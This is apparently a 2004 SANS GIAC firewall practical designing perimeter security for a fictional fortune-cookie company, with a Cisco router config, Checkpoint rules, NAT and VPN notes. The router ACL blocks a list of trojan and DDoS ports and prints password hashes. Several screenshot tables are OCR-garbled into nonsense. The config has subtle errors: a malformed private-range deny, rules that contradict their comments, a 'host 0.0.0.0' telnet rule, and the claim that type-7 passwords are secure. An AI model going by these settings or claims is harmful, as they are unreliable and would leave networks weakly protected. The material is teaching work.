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Assignment 1
Security Architecture

1.1 Introduction to GIAC Enterprises

GIAC Enterprises is a Canadian based company, which employs 70 people: 40
in the main office in Toronto, and 30 in its European satellite offices.

Its sole business is selling fortune cookie sayings to its customers and clients.
GIAC revenue in 2003 was estimated at 5 million Canadian dollars.

During last couple of years GIAC executives decided to expand GIAC business
on-line, having opened 2 satellite offices in Frankfurt, Germany and Basel,
Switzerland which required to implement the entire new network, security and
business operations infrastructure to support the management’s claim.

GIAC management asked the manager of its existing IT department to employ
it's own resources and existing network structure where possible to cut
implementation costs to absolute minimum, therefore IT management developed
a plan, which defined each and every aspect of this new venture.

Below is the outline of this plan, which consists of four major objectives:

1.2 Existing network infrastructure

Existing network which is based on WIN2000 architecture implemented and/or
upgraded recently will remain intact being fully capable of integrating into new
layer of security and on-line operations, it's core consisting of: database, backup,
DHCP/DNS, Exchange /Anti-Virus and File/Print servers.

1.3 New network infrastructure

P4/2.4GH, 2GBRAM, 2X160GB SCSI HDD | FreeBSD 4.9 patched and hardened
employing hardware RAID10 for all DMZ for all servers
servers
P4/2.4GH, 2GBRAM, 2X160GB SCSI HDD | Checkpoint NG Al Secure Platform
employing hardware RAID10 running Running under Grub Linux
2.4.9-39cp
DNS BIND 9.2.3
SMTP mail relay Qmail 1.03
DB MySQL 4.0
NTP/SYSLOG Included in FreeBSD 4.9 release
4
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HTPP/HTTPS Apache 2.0

VPN accelerator card

Cisco 2611 with 1 serial interface and 2 Cisco 10S version 12.2(13)
ethernet interfaces

1.4 Security Architecture

1.4.1 Access Requirements & restrictions

GIAC Satellite offices

Suppliers

Customers and general public

GIAC mobile sales and telecommuters

GIAC employees (internal network)

GIAC IT management/power users/administrators (internal network)

VVVVVYY

Satellite offices in Frankfurt and Basel will use established vpn tunnels to
connect to GIAC database server in order to download the newest cookie
sayings and update their own local databases (translation process involved if
necessary).

Suppliers will allow GIAC DB administrators to connect to their secure web
servers and download newest cookie sayings offerings chosen by GIAC mgmt
via scp (part of the ssh package).

© SANS Institute 2004,

Note 1: GIAC decided to keep its original database on internal network
and use it as an upload point for the new DB server in the DMZ.
Reasoning behind this setup was to provide an additional layer of security
in case it's DMZ DB server gets compromised for any reason.

Another factor that influenced this decision was an agreement with its
suppliers, which defined the logistics of downloading new cookie sayings
to GIAC internal DB by GIAC DB administrators.

In this scenario GIAC will download new cookie sayings file(s) from
suppliers servers using ssh to GIAC internal DB server, perform database
dump at specified interval, copy new dump file via ssh to GIAC DMZ DB
server and perform the update with new cookie sayings content. Database
replication solution was also tried but didn’t work as expected.
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Customers and general public will connect to GIAC web server through the
public network space. They will be able to register themselves with a client id and
password, which will be stored internally at GIAC. Once purchases of cookie
saying had been made, customers will be notified by email and allowed to
download them from GIAC web site. All the recorded transactions will be
performed using strong encryption of 128 bits.

Mobile Sales /Telecommuters will be able to connect securely to GIAC central
office resources using Checkpoint client-site Simplified VPN tunnels

After VPN tunnel is established they will logon onto GIAC domain using their user
id/password, which will enable them to use GIAC internal resources.

Internal Employees will be allowed to access the Internet, send and receive e-
mail, download files and perform DNS lookups using internal DNS server as a
request forwarder to DMZ DNS server.

Internally they are being able to share files and printers via services provided by
internal servers and receive automated virus protection from internal anti-virus
scanner.

Internal IT and Management staff will be able to do everything that internal
employees are allowed, adding management, testing and troubleshooting of
GIAC entire network infrastructure.

Table 1.1 outlines the communications requirements for these groups

GIAC Group Business / Services Protocols/ports
Communication
Requirements
Satellite Offices | Able to use central office | Any service | UDP
resources and perform via 500(IKE),
DB updates Checkpoint’s | Protocols
via Checkpoint’s Site- Site-Site ESP — IP protocol
Site Intranet (three- Intranet 50
gateway IKE encryption) | (three- AH — IP protocol 51
gateway IKE
encryption)
Suppliers for GIAC DB-Administrators | Outbound TCP
GIAC will connect to secure access to 80,443,22
supplier sites via SSH-2 | suppliers
and download cookie secure web
sayings based on their servers
business requirements databases;
http, https,
ssh-2
6
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Enable to troubleshoot
Checkpoint FW1
structure

Customers Enable 24/7 access to http, https, TCP
GIAC http/https server. smtp 80,443,25
Enable access to GIAC
secure site via login
name and password
(client registration is
initially performed and
stored)
Enable send/receive
email notifications
Mobile Sales Enable to connect Any service | UDP
/Telecommuters | securely to GIAC central | via 500(IKE),
office resources using Checkpoint’s | Protocols
Checkpoint client-site client-to-site | ESP — IP protocol
Simplified VPN tunnels VPN using 50
After VPN tunnel is IPSec AH — IP protocol 51
established they will
logon onto GIAC domain
using their domain
userid/pasword
Internal Enable to access http, https, TCP
Employees internet, send/receive ftp, smtp 80,443,20,21,25
email and perform file
downloads and perform
DNS lookups
Internal IT / Same as Internal http, https, TCP
MGMT Employees plus: ftp, smtp, 80,443,20,21,25,22,
Enable SSH/SCP to ssh, icmp
DMZ servers suite

1.4.2 Component Security Layers

© SANS Institute 2004,

VVVVVYVYYVYYYVY

GIAC DMZ (separating core business ops from internal network)

Cisco border router Access Lists
Checkpoint firewall

Checkpoint VPN (SecureClient/SecureRemote)

SSH/SCP/SFTP

IP addressing (NAT)
Checkpoint Desktop Security
Checkpoint SmartDefense
Anti-Virus Software
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Table 1.2 provides greater detail for security components

Component Description

Firewall GIAC IT department setup 3 identical Checkpoint NG Al Linux based
firewalls for central and two satellite offices to simplify security,
management and VPN setup of these enforcement points. Each
Enforcement Point/ Management Server runs on x.86 Pentium4 2.4
GHz CPU and 2GB RAM utilizing two 160GB SCSI hard drives in
hardware based RAID10 (mirror) configuration. Checkpoint software
is based on SecurePlatform NG Al FP4 utilizing Checkpoint VPN
accelerator hardware. Firewall has defined security policy in place for
internal, external, DMZ and VPN communications.

Border Router | GIAC IT department setup 3 identical routers for each site (central
office and two satellites) which are CISCO 2600 series running
12.2(13) 10S and employed access lists to filter incoming traffic,
providing external layer of security and relieving the firewall from
processing unnecessary load thus improving it's performance.

VPN VPN service is realized through Checkpoint VPN-1 module residing
on each enforcement point and employing Site-to-Site and Client-to-
Site configuration. VPN performance is further improved by utilizing
VPN accelerator hardware. GIAC Enterprises Checkpoint VPN
security policy is an integral part of its firewall security policy
(centralized policy management). SecuRemote /SecureClient
implementation for mobile sales/telecommuters greatly improves
security for these machines (all data is encrypted BEFORE

it leaves the client). By using this model GIAC IT department created
Site-Site Intranet (three-gateway IKE encryption).

DMZ GIAC created this new network and placed all new server structure
server there, to separate it from the internal network
SSH/SCP/SFTP | These services were implemented on all DMZ servers, so GIAC IT
group internal network workstations could securely administer and
maintain their health and availability remotely.

NAT GIAC implemented hide (dynamic) NAT for it's internal networks
and hide NAT (static) for its DMZ servers.

Desktop Implemented to remotely enforce desktop policy for remote users

Security thus providing an additional layer of security by blocking

unauthorized access to remote machines.

ANTI-VIRUS GIAC is utilizing it's internal ANTI-VIRUS servers to protect it's
internal network, although it's aware of Checkpoint OPSEC certified
ANTI-VIRUS software that could be utilized via CVP setup at a later
date.

Checkpoint Provides centralized protection against network attacks using
SmartDefense | intelligent security technology, as well as detection, logging, alerting
and auditing. Application Intelligence prevents application-level
attacks and uses implicit defenses to prevent information about the
GIAC network reaching the internet.
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Table 1.3 outlines GIAC IP addressing

Network Description

Address Range

Internal 192.168.30.0/24
192.168.30.254 — firewall internal
interface and gateway for GIAC
internal network
192.168.30.1 — 192.168.30.30 static
range for internal servers, clients and
IT department
192.168.30.31 — 192.168.30.253 dhcp
assigned

DMZ 192.168.60.0/28

192.168.60.14 — firewall DMZ interface
192.168.60.1 — 192.168.60.13 static
range for servers in the DMZ

External (GIAC Central Office)
[* See note 2]

192.168.90.0/28

192.168.90.1 — border router internal
interface

192.168.90.2 — firewall external
interface

192.168.90.3 — 192.168.90.14 —public
IP’s for DMZ servers

GIAC Satellite Office — Frankfurt
[* See note 2]

10.10.30.0/25 — internal network
10.10.30.126 — firewall internal
interface

10.10.90.2/30 — firewall external
interface

GIAC Satellite Office — Basel
[* See note 2]

172.30.0.0/25 — internal network
172.30.0.126 — firewall internal
interface

172.30.90.2/30 — firewall external
interface

Intranet VPN

Satellite offices internal networks
(see above & network diagram)

Remote-Access VPN

IP addresses are assigned from IP
Pool

© SANS Institute 2004,
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NAT addressing Hide NAT is utilized for internal
network

It is setup to use 192.168.90.14 public
address instead of the firewall’'s own.
Static hide NAT is setup for DMZ.
Again, each server is assigned public
IP address from 192.168.90.0/28
range;

HTTP/HTTPS: 192.168.90.3
DNS: 192.168.90.4
NTP/LOG: 192.168.90.5
SMTP: 192.168.90.6

Note 2: ALL GIAC external networks are presented as non-routable address
ranges, although in real situation they would be purchased routable public
address ranges

Table 1.4 outlines the GIAC network diagram prepared by Visio software

10.10.30 0/25
== Etheme
128

satlits Omes
semang

172.30.0.0/25

satalllts Offiza

Giac DMZ

- i . - % %

P use
administrator

192.168.30.0/24)

192.168.30.30
static

(.31 -.100)
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Assignment 2
Security Policy & Tutorial

2.1 CISCO 2611 router security policy

GIAC border router utilizes ACL (Access Control List) feature to filter incoming
and outgoing traffic. On top of that, physical and network management access to
the unit is also restricted.

GIAC border router configuration AFTER the setup:
Note 3: Exclamation (!) marks have been omitted to preserve space

GENf#sh run

Building configuration...

Current configuration : 4457 bytes

version 12.2

service timestamps debug uptime

service timestamps log datetime msec localtime show-timezone
service password-encryption

hostname "GEN"

logging buffered 64000 informational

logging console notifications

enable secret 5 $1$Jddk$U2CIxYBwYYC/O4P2WQSju.
username ul password 7 050A571C73481D
username u2 password 7 070E705F1COD4A
username u3 password 7 070E705F1COD4A
memory-size iomem 10

ip subnet-zero

no ip source-route

no ip domain-lookup

no ip bootp server

prompt GEN#

interface Ethernet0/0

description INTERNAL

ip address 192.168.90.1 255.255.255.240

ip access-group 110 in

no ip redirects

no ip unreachables

no ip proxy-arp

half-duplex

interface Serial0/0

description EXTERNAL

ip address 10.10.20.1 255.255.255.252

ip access-group 109 in

11
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no ip redirects

no ip unreachables
no ip proxy-arp

ntp disable
interface Ethernet0/1
no ip address
shutdown
half-duplex

no ip classless

no ip http server
logging facility local6

logging source-interface Ethernet0/0

logging 192.168.90.5

access-list 11 permit 192.168.90.5

access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny

ip 0.0.0.0 0.255.255.255 any log

ip 1.0.0.0 0.255.255.255 any log

ip 2.0.0.0 0.255.255.255 any log

ip host 255.255.255.255 any log

ip 224.0.0.0 15.255.255.255 any log
ip 240.0.0.0 7.255.255.255 any log
ip 192.168.0.0 0.0.255.255 any log
ip 160.16.0.0 15.0.255.255 any log
ip 169.254.0.0 0.0.255.255 any log
ip 192.0.2.0 0.0.0.255 any log

ip 127.0.0.0 0.255.255.255 any log
ip 248.0.0.0 7.255.255.255 any log
ip host 10.10.20.1 any log

tcp any any eq 2222 log

tcp any any eq 6669 log

tcp any any eq 6711 log

tcp any any eq 6712 log

tcp any any eq 6776 log

tcp any any eq 7000 log

tcp any any eq 16660 log

tcp any any eq 16959 log

tcp any any eq 27374 log

tcp any any eq 27665 log

tcp any any eq 33270 log

tcp any any eq 39168 log

tcp any any eq 65000 log

udp any any eq 27444 log

udp any any eq 31335 log

access-list 109 permit tcp any host 192.168.90.3 eq www
access-list 109 permit tcp any host 192.168.90.3 eq 443

access-list 109 permit tcp any host 192.168.90.4 eq domain
access-list 109 permit udp any host 192.168.90.4 eq domain

© SANS Institute 2004,
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access-list 109 permit tcp any host 192.168.90.6 eq smtp
access-list 109 permit tcp any any established
access-list 109 permit udp any host 192.168.90.2 eq isakmp
access-list 109 permit esp any host 192.168.90.2
access-list 109 permit ahp any host 192.168.90.2
access-list 109 deny udp any range 0 65535 any range 0 65535 log
access-list 109 deny tcp any range 0 65535 any range 0 65535 log
access-list 109 deny ip any any log
access-list 110 deny icmp any any echo-reply
access-list 110 permit tcp any any established
access-list 110 permit ip host 192.168.90.2 any
access-list 110 permit udp host 192.168.90.4 any eq domain
access-list 110 permit tcp host 192.168.90.4 any eq domain
access-list 110 permit tcp host 192.168.90.6 any eq smtp
access-list 110 permit udp host 192.168.90.5 any eq ntp
access-list 110 permit tcp host 192.168.90.5 any eq 123
access-list 110 permit udp host 192.168.90.2 any eq isakmp
access-list 110 permit esp host 192.168.90.2 any
access-list 110 permit ahp host 192.168.90.2 any
access-list 110 deny udp any range 0 65535 any range 0 65535 log
access-list 110 deny tcp any range 0 65535 any range 0 65535 log
access-list 110 deny ip any any log
access-list 111 permit tcp host 192.168.90.14 host 0.0.0.0 eq telnet
no cdp run
banner motd ~C

WARNING !l

THIS SYSTEM IS BEING MONITORED AND CAN BE USED FOR
AUTHORIZED ACCESS ONLY. ANY UNAUTHORIZED USAGE IS
STRICTLY PROHIBITED AND WILL BE USED FOR PROSECUTION

line con O

exec-timeout 50

login local

line aux O

exec-timeout 0 1

login local

no exec

line vty 0 4

access-class 111 in
login local

transport input telnet

ntp access-group peer 11
ntp server 192.168.90.5 source Ethernet0/0
end

13
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Comments:

As we can see after the necessary reconfiguration had been done, GIAC
border router setup had introduced many “built in” Cisco security features
including:

Limited Local and remote access to the router
Disabling unneeded and insecure router services
Protection against different types of network attacks
Logging

Use of standard and extended access lists

VVVVYY

Below is more detailed description of these measures:

service timestamps log datetime msec localtime show-timezone
- logging day and time stamps

service password-encryption
- no plain text passwords

logging buffered 64000 informational
- 64kb buffer for local logging

logging console notifications
-> console logging at level 5

enable secret 5 $1$Jddk$U2CIxYBwYYC/O4P2WQSju.
- use md5 hash for admin access

username ul password 7 050A571C73481D
- setup ul with privilege level 1
username u2 password 7 070E705F1COD4A
- setup u2 with privilege level 1

username u3 password 7 070E705F1COD4A
- setup u3 with privilege level 1

no ip source-route
- packets can’t specify routes

no ip domain-lookup
- domain lookups disabled

no ip bootp server
- no uploading CISCO IOS

14
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interface Ethernet0/0
- crossover to FW ext. interface

description INTERNAL
- filters GIAC internal traffic

ip address 192.168.90.1 255.255.255.240
- |IP address and netmask of router’s internal interface

ip access-group 110 in
- ext. access list 110 applied

no ip redirects
- protection from DoS attacks

no ip unreachables
- no “talk back” on ICMP

no ip proxy-arp
- no communication at layer 2

interface Serial0/0
-> connected to public network

description EXTERNAL
- filters public traffic

ip address 10.10.20.1 255.255.255.252
- |IP address and netmask of router’s external interface

ip access-group 109 in
- ext. access list 109 applied

no ip redirects
-> protection from Dos attacks

no ip unreachables
- no “talk back” on ICMP

no ip proxy-arp
- no communication at layer 2

ntp disable
- no ntp communication
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interface Ethernet0/1
- NOT IN USE

no ip address
- NOT IN USE

shutdown
- NOT IN USE

half-duplex
- NOT IN USE

no ip classless
- no classless routing

no ip http server
-> no http router admin allowed

logging facility local6
- setup remote logging to GIAC

logging source-interface Ethernet0/0
- use eth0/0 for log transfer

logging 192.168.90.5
- GIAC log server public address

access-list 11 permit 192.168.90.5
-> standard access list for GIAC log server pub address

access-list 109 deny ip 0.0.0.0 0.255.255.255 any log
access-list 109 deny ip 1.0.0.0 0.255.255.255 any log
access-list 109 deny ip 2.0.0.0 0.255.255.255 any log
- no packets allowed from unallocated legal addresses with logging turned on

access-list 109 deny ip host 255.255.255.255 any log
- no broadcast addresses as source addresses with logging turned on

access-list 109 deny ip 224.0.0.0 15.255.255.255 any log
access-list 109 deny ip 240.0.0.0 7.255.255.255 any log
access-list 109 deny ip 192.168.0.0 0.0.255.255 any log
access-list 109 deny ip 160.16.0.0 15.0.255.255 any log
access-list 109 deny ip 169.254.0.0 0.0.255.255 any log
access-list 109 deny ip 192.0.2.0 0.0.0.255 any log
access-list 109 deny ip 127.0.0.0 0.255.255.255 any log
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access-list 109 deny ip 248.0.0.0 7.255.255.255 any log

- no multicast, private and loopback addresses allowed with logging turned on

access-list 109 deny

ip host 10.10.20.1 any log

- no spoofing of external router

access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny
access-list 109 deny

- no “well-known” DdoS ports allowed with logging turned on

tcp any any eq 2222 log
tcp any any eq 6669 log
tcp any any eq 6711 log
tcp any any eq 6712 log
tcp any any eq 6776 log
tcp any any eq 7000 log
tcp any any eq 16660 log
tcp any any eq 16959 log
tcp any any eq 27374 log
tcp any any eq 27665 log
tcp any any eq 33270 log
tcp any any eq 39168 log
tcp any any eq 65000 log
udp any any eq 27444 log
udp any any eq 31335 log

access-list 109 permit tcp any any established
- allow established packets in

© SANS Institute 2004,

access-list 109 permit tcp any host 192.168.90.3 eq www
-> allow public to GIAC http

access-list 109 permit tcp any host 192.168.90.3 eq 443

- allow public to GIAC https

access-list 109 permit tcp any host 192.168.90.4 eq domain
—> allow DNS traffic in (tcp)

access-list 109 permit udp any host 192.168.90.4 eq domain
-> allow DNS traffic in (udp)

access-list 109 permit tcp any host 192.168.90.6 eq smtp
- allow SMTP traffic in

access-list 109 permit udp any host 192.168.90.2 eq isakmp
access-list 109 permit esp any host 192.168.90.2
access-list 109 permit ahp any host 192.168.90.2

-> allow VPN traffic in

access-list 109 deny udp any range 0 65535 any range 0 65535 log
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access-list 109 deny tcp any range 0 65535 any range 0 65535 log
access-list 109 deny ip any any log
-> no other traffic allowed in with logging turned on

access-list 110 deny icmp any any echo-reply
- no ICMP echo-reply

access-list 110 permit tcp any any established
- allow established packets in

access-list 110 permit ip host 192.168.90.14 any
- allow GIAC internal network out

access-list 110 permit udp host 192.168.90.4 any eq domain
- allow DNS(udp) services out

access-list 110 permit tcp host 192.168.90.6 any eq smtp
- allow SMTP services out

access-list 110 permit udp host 192.168.90.5 any eq ntp
- allow NTP(udp) services out

access-list 110 permit udp host 192.168.90.2 any eq isakmp
access-list 110 permit esp host 192.168.90.2 any
access-list 110 permit ahp host 192.168.90.2 any

- allow VPN traffic out

access-list 110 deny udp any range 0 65535 any range 0 65535 log
access-list 110 deny tcp any range 0 65535 any range 0 65535 log
access-list 110 deny ip any any log

- no other traffic allowed with logging turned on

access-list 111 permit tcp host 192.168.90.14 host 0.0.0.0 eq telnet

-> allow telnet access from internal mgmt station for router admin purposes

no cdp run
-> no Cisco discovery protocol

banner motd ~C
- banner setup for security and legal purposes

WARNING !!!
THIS SYSTEM IS BEING MONITORED AND CAN BE USED FOR

AUTHORIZED ACCESS ONLY. ANY UNAUTHORIZED USAGE IS
STRICTLY PROHIBITED AND WILL BE USED FOR PROSECUTION
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line con 0
- console line

exec-timeout5 0
- console timeout of 5min

login local
-> console login enforced

line aux O
- serial line

exec-timeout 0 1
- access disabled

login local
- access disabled

no exec
- access disabled
line vty 0 4

- virtual terminal line
access-class 111 in
- access-list 111 in

login local
- vty login enforced

transport input telnet
- telnet allowed

ntp access-group peer 11
- enforce ACL for NTP server

ntp server 192.168.90.5 source Ethernet0/0
- allow NTP server on internal interface

Note 4: There are few router services, which were setup through
command line interface but don’t show up in the output of <show running
config> command. These services are:

no service tcp-small-servers
no service udp-small servers
-> disable echo, chargen, discard and daytime service that are not needed
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no ip finger
no service finger
-> disable finger service

no boot network
no service config
—> disable booting and auto load of configuration from network

no snmp-server enable traps

no snmp-server system-shutdown
no snmp-server trap-auth

no snmp server

- disable snmp services

Note 5: GIAC staff realizes that telnet isn’t the most secure option to
administer the router from the inside network and will implement CISCO
advanced security option (adds I0S-FW, IDS, SSH, IPSec and 3DES to
base IP 10S) into their 12.2 Cisco I0S software to allow ssh protocol setup
for administration of the border router.

Note 6: CISCO Access Lists are processed in top-to-bottom order for
matching requests. As such, it is very important to place more frequent
rules at the top of the ACL list to improve traffic flow.

2.2 GIAC Checkpoint NG Al security policy

Checkpoint NG Al security policy consist of five major components:

Security Policy

Address translation Policy
Smart defense

VPN manager

Desktop security Policy

VVVVYY

2.2.1 GIAC FW Security Policy

By looking at the policy ruleset, we can see that three most used rules had been
placed below the stealth rule #6. These rules are:

» GIAC web server access rule (rule #7
» Internal network access rule (rule #8)
» Site-to-site VPN rule (rule #9)

20
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Below is a brief explanation of each rule in security policy:

Table 1.5

BH security |I|§| Address Translation I @1 SmartDefense I 9 PN Manager | EE] Desktop Security I

SOLURCE

DESTIMATION

=]

00 B0

Top rule (implied)

‘P«- MemberGs EncDomain@hiyIntranst ‘ P MemberGs EncDomain@@iyintranst ‘ Any Traffic ‘ P EncryptedServices@Mylntranet Encrypt&Continue
[<] Metbios noise rule 1 (Rule 1)
U bootp
& Any % Any IE Any Traffic MNET @ drap
LEE rip
remote YPN access rule {Rules 2-4)
'!T_| remote-UsersE@GIAC-Telecommuters Ak giac-central-internal ::)n(:’ RemoteAccess | & Any @ accept
'%'ﬁ remote-IT-admins@Gl4C-Metwork-Administrators 4L giac-central-internal ::)D(: Remotedccess | & Any @ accept
EE giac-toranto Metwork-Admin-Tools
GIAC-DMZ-5 e g mysaL
'%'—. remote-IT-admins@GlAC-Network-Administrators ) SIVErS L5, Remotedccess ¥ @ accept
L Cisco-Router-Internal MSExchange-2000
GIAC-Internal-Servers
restricted fw access rule  (Rule 5)
EE giac-toronta
GlAC-Metwork-Sdministrators GINC-DMZ-Servers IE Any Traffic Metwork-Admin-Toals @ accept
Q Cizco-Router-Internal
stealth rule {Rule 6)
* Any | Eﬂ giac-toronto | IE Any Traffic & Any ‘@ drop
[=] GIAC web server access rule (Rule 7)
) IEE hitp
X 2oy ‘ Q WEB-Server-GlAC ‘ IE Any Traffic I iips ‘ @ accept
[=] Internal network internet access rule {Rule 8)
IEE htip
4L giac-certral-internal m GlAC-DMZ-Servers IE‘ Any Traffic TCP Hitps @ accept
IEE fip
[=] site-site-¥PN-rule (Rule 9)
GlACHnternal-networks | G C-internal-netveorks | ﬁ Mylrtranet & Any ‘@ accept
[=] SMTP rules {Rules 10-12)
I mtad-zerver L maiL-server
10 (I3 =i Any Traffic TCE = ACCEY
. Q‘ Exchange-Internal-Setver Q‘ Exchange-Intetnal-Server IE ¥ 2 @ g
* giac-certral-internal Q‘ MAIL-Server IE Any Traffic TCF amtp @ accept
Q‘ MAIL-Server * giac-central-internal IE‘ Any Traffic TCF =mip @ accept
[] DHNS rules (Rule 13)
| & Ay Q DRE-Server IE‘ Any Traffic UOP comain-udp @ accept
=]  SYSLOGINTP rules (Rules 14-16)
LEN | L nTP-LOGS-Server ExternakhiTP [#] any Trattic tp € accept
UDE =y
Q Cisco-Router-Internal Q MNTP-LOGS-Server Any Traffic i:s o9 @ accept
[&] mtp
GlACnternal-Sarvers Q MNTP-LOGS-Server IE Ay Traffic rtp @ accept
cleanup rule {Rule 17}
| X 2oy * Any IE Any Traffic % Any @ drop

Automatic Encryption Rule for community: MylIntranet. This rule was created
automatically when initial VPN setup was performed using so called simplified

mode. This will be explained in greater detail in VPN setup tutorial.

Rulel

Drops unnecessary NetBIOS (udp/tcp), bootp and router rip traffic and do not log
it. This dramatically reduces the amount of logged traffic.
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Rule2, 3,4

These three rules define VPN access for two groups of users: remote-IT-admins
and remote-users. These rules allow both groups to connect via VPN to GIAC
network.

Rule 5

Allow internal IT administrators to perform all necessary maintenance and
troubleshooting of Checkpoint firewall, router and DMZ servers.

Rule 6

Any other direct traffic to the firewall is dropped and alert logs will be sent.
Rule 7

GIAC web server access rule. All legitimate public networks are allowed to
access the server via http/https services.

Rule 8

Enables GIAC internal network access to the Internet but not the DMZ servers.
Rule 9

Site-to-Site VPN rule which allows all three-satellite offices to communicate via
gateway-to-gateway IKE encryption scheme.

Rule 10,11,12

These three rules allow GIAC internal exchange server SMTP traffic to and from
DMZ SMTP server relay, as well as DMZ mail relay traffic to public network.
Rule 13

This rule allow DNS queries (domain-udp) traffic from the public network and
internal DNS server to communicate with DMZ DNS server.

Rule 14

Allows DMZ NTP server to communicate with public NTP servers.

Rule 15

Allows Cisco internal interface to synchronize its time with DMZ NTP server as
well as send logs to local6 facility on that server.

Rule 16

Allows GIAC internal servers to synchronize the time with DMZ NTP server.
Rule 17

This is the cleanup rule. All traffic not permitted in the rules above is dropped and
generates the alert.

Note 7: Traffic from internal network to DMZ zone should be kept to
absolute minimum. In GIAC case DNS, SMTP and NTP services required
that access.
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2.2.2 GIAC Address translation policy

Table 1.6

CORIGIH

‘ 1 | O omssere: x Any t Ay Qsms.sErvar (valid iddress) = Criginal = Criginal | # Al d"";“:)ma‘cr“efseem pevondobict
X Ay [ pus-server | % By = Crigiral [ DNG-Sever| = Criginal | # Al Autamalc rue (2ee 12 newward objsct
= =% dsta).
[ MaL_-Server * Any £ av O] wALServer validAdchessy S Original | S Criginl | # 4y | Submelc rus(see ths newvord objsct
- =S dleta).
4 [ [ maL-ser-er| % a1y = Crigiral [ MAL-Servel| = Criginal | # Al Automalc rue (see thz nevwvars objsct
= =% dsta).
' I Wr-LoGS-Sarver T Ay * A QSPHP-LOGS-Sewer aialid ddres = Original = original | # Al d“;":]mm"uefsee“a AR e
6 e ] prpeoes | 4 £y = Crigiral [ WTPLocs. = Original | # Al Autamalc rue (see t12 nevwvord objact
= = deta).
[ e server-clac T Any * Ay Q_SwEBSer»er-@Ac “alid Acres = Original = original | # Al d"";":)ma‘c"ueﬁsee“? eSS
& Any 1 wep-server | % £y = Crigiral [ wES-Server| = Original | # Al Autamalc rue (see t12 newwvaors objact
- =% deta).
L piac-zertra-iterrsl AL giac-centrsl | % A7y = Crigiral = Original = Original | # A&l iétn:)maicrue(seeha newware ohjct
AN Al gisc-certrd-interral T Any T oA J-|-|-Hgac-ce'ntr:al-internel {Hiding Adch = Original = Original | * Al jgt:)mmcrue[seehs L IR

As we can see all GIAC NAT rules had been generated automatically, based on
choices made in each network object setup. In GIAC case, all NAT rules had
been realized through Hide NAT feature of Checkpoint firewall. Two different
NAT schemes were utilized. One was the setup for internal network
(192.168.30.0/24), dynamically hiding it behind one of the public addresses
(192.168.90.14), and the other for DMZ servers, using static Hide NAT, utilizing
addresses from public “pool”

Table 1.7 and 1.8 show GUI NAT snapshots for internal network and DMZ server
(http/https) respectively:

Table 1.7
i Metwork Properties - giac-cenktral-internal |

i General MAT I

! Walues for &ddress Translation

v Add Automatic Address Translation rules

Tranzlation method: I Hide ;I

= Hide behind Gateway
& Hide behind IP Address |1 921689014

Inztall on G ateway: | & Al j
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Table 1.8

x
- General Properties NAT
- Topal
s Walues for Addreszs Translation
Wieh Server v Add Autoratic Address Translation rules
e Advanced
Tranzlation method: IStatic _L!
Tranzlate to |P Address: I'I 92168903
Inztall on Gateway: I o Al j

[ Applytar YEH-1 & Firewall-d. cantrol connections

IR Ernle lFarmatemsie]

Note 8: All remaining DMZ servers had been setup exactly the same way.

2.2.3 Smart Defense

CP NG Al Smart Defense employs so called active defense solutions, which add
additional protection against known network attacks, using intelligent security
technology. Smart Defense blocks attacks by type and by class, using stateful
inspection and Al (Application Intelligence) technologies.

All necessary configurations are centralized inside Smart Defense console.

Table 1.9
T General =

(£ Anti Spocfing Configuration Stahis
o Mebwork Security

3 ﬂ Denid of Se-vice Upcate Mow

Teardroa

SmartDefense Updats

Ping af Death ™ Zheck for new updates when SrartDashboard is stated

LAND

{3 1P and 1CMF

L [# Packet Sanky
[ Max “ing Size
% IP Fragnerks

[ Mzbwork Quata Check Point SnartDefense wehsite
o &) Ter
-+ View SnarDeferse ogs in SmartView Tracker
1.3 SYN Attack Configuration

Small PHTU
Sequence verifier
- 37| Finge-print Scramling

Last Update:  03-April-z003

[ 13N Sposfirg Descriptiaon:
[w L
[v IFID SmarDefense provides a unified security framework for variols components that identfy and prevert oyber attacks. n

addition to the securitr enforcement policy, defined in +e rule base, Sma-tDefense unchirusively analyzes activ ty across

2 e4] Successive Events
wour network, tracking potentially threatening events and optionally sending ~otificaton,

[v Addrzss Spoofing I
Local Interface Spoofing
Part Scenning

i Success ve Alerts

L[V SuccessveMutiplz Connectiors
% Dynamic Ports
o Application Inteligence
- 153| web
[v Ganeral HTTR Warm Cakzher
L. @2 Cross Sie Scripting -

&3 HT"P Protocol Inspection
il
H SMTP Cantent:
{_[271 Mal and Recipisnt Content
=58 FTR

- [w] FTP Bounce
B2 FTP Securitr Server
MicroscFt Networks
File andPrirt Sharing

[«
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As we can see, SmartDefense console provides anti-spoofing alerts, informing
on network interfaces NOT having this feature enabled as well as defenses
against many different types of network attacks including:

Denial of Service (DoS):

» Teardrop
This attack exploits improper handling of overlapping IP fragments.
When an attacker sends two IP fragments, second one totally embedded into the
first one, it causes the server on the receiving end to allocate too much memory
and ultimately crash. SmartDefense will block this type of attack and will log it as
“ Virtual defragmentation error: Overlapping fragments”.

» Ping of Death
This type of attack crashes the system by sending oversized, fragmented ping
request packets. SmartDefense will block this type of attack and will log it with *
Virtual defragmentation error: Packet too big”.

» LAND
When attacker sends crafted SYN packets, which have the same source and
destination address (spoofed). SmartDefense employs anti-spoofing feature,
which should be enabled on ALL interfaces.

2.2.4 VPN manager

As mentioned in the previous pages GIAC IT staff setup VPN site-to-site and
client-to-site tunnels to enable secure communications between its satellite sites
and allow telecommuters to attach to its internal network. Simplified VPN setup
had been performed to ease up deployment.

VPN-1/Firewall-1 supports the IKE encryption scheme, which consist of:

» Key management protocol for generating and exchanging keys (IKE)
» Encryption algorithm for encrypting messages (DES, 3DES, CAST, AES)
» Authentication algorithm to ensure integrity (HMAC-MD5, HMAC-SHA-1)

GIAC decided to implement IKE symmetric encryption scheme using shared key
and 3DES type of encryption algorithm, which uses three different DES keys in
succession, which equals to 168 bit key. Although symmetric-key type encryption
in which the same key is used to encrypt and decrypt data (also called shared-
key encryption) has its disadvantages such as:

» Security of “delivering” the shared key to 2 participating GIAC VPN
